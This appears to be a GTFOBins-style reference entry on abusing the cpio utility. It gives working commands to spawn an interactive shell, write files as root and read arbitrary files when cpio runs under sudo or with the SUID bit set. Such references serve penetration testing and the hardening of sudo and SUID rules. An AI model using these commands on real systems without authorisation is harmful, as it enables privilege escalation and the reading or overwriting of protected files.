Shell

This executable can spawn an interactive system shell.
  1. This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '/bin/sh </dev/tty >/dev/tty' >localhost
    cpio -o --rsh-command /bin/sh -F localhost:

File write

This executable can write data to local files.
  1. CommentThe whole directory structure is copied to ., with the data written to ./path/to/temp-file.
    This function can be performed by any unprivileged user.
    echo DATA >/path/to/temp-file
    echo /path/to/temp-file | cpio -udp .
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo DATA >/path/to/temp-file
    echo /path/to/temp-file | cpio -R 0:0 -udp .
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    echo DATA >/path/to/temp-file
    echo /path/to/temp-file | cpio -R 0:0 -udp .

File read

This executable can read data from local files.
  1. CommentThe content of the file is printed to standard output, between the cpio archive format header and footer.
    This function can be performed by any unprivileged user.
    echo /path/to/input-file | cpio -o
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo /path/to/input-file | cpio -o
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    echo /path/to/input-file | cpio -o
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
  2. CommentThe whole directory structure is copied to ., hence this is also a file write.
    This function can be performed by any unprivileged user.
    echo /path/to/input-file | cpio -dp .
    cat path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo /path/to/input-file | cpio -R $UID -dp .
    cat path/to/input-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    echo /path/to/input-file | cpio -R $UID -dp .
    cat path/to/input-file